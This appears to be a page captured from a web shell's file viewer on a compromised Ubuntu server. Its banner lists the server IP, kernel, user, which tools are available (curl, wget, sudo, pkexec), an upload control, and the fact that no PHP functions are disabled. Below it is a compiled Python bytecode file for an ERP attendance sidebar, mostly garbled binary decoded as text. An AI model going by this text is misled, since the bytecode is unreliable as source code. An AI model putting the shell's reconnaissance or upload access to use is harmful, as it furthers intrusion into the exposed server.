| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/erp/attendance/__pycache__/ |
Upload File : |
o
hͦh� � @ s d Z ddlmZ ddlmZ ddlmZ ddlmZ ddl m
Z
ed�ZdZd Z
ed
�ed�d d�ed
�ed�dd�ed�ed�d�ed�ed�dd�ed�ed�dd�ed�ed�dd�ed�ed�dd�ed�ed �dd�gZd!d"� Zd#d$� Zd%d&� Zd'd(� Zd)d*� Zd+d,� Zd-S ).z
attendance/sidebar.py
� )�datetime)�reverse)�gettext_lazy)�#enable_late_come_early_out_tracking)�is_reportingmanager�
Attendancezimages/ui/attendances.svgz*attendance.sidebar.dashboard_accessibility� Dashboardzattendance-dashboard)�menu�redirect�
accessibility�Attendanceszattendance-viewz,attendance.sidebar.attendances_accessibilityzAttendance Requestszrequest-attendance-view)r r
zHour Accountzattendance-overtime-viewz-attendance.sidebar.hour_account_accessibilityzWork Recordszwork-recordsz,attendance.sidebar.work_record_accessibilityzAttendance Activitieszattendance-activity-viewz9attendance.sidebar.view_attendance_activity_accessibilityzLate Come Early Outzlate-come-early-out-viewz)attendance.sidebar.tracking_accessibilityzMy Attendanceszview-my-attendancec O � | j �d�S �zX
Check if the user has permission to view attendance or is a reporting manager.
zattendance.view_attendance��user�has_perm��request�submenu�
user_perms�args�kwargs� r �"/var/www/erp/attendance/sidebar.py�attendances_accessibility<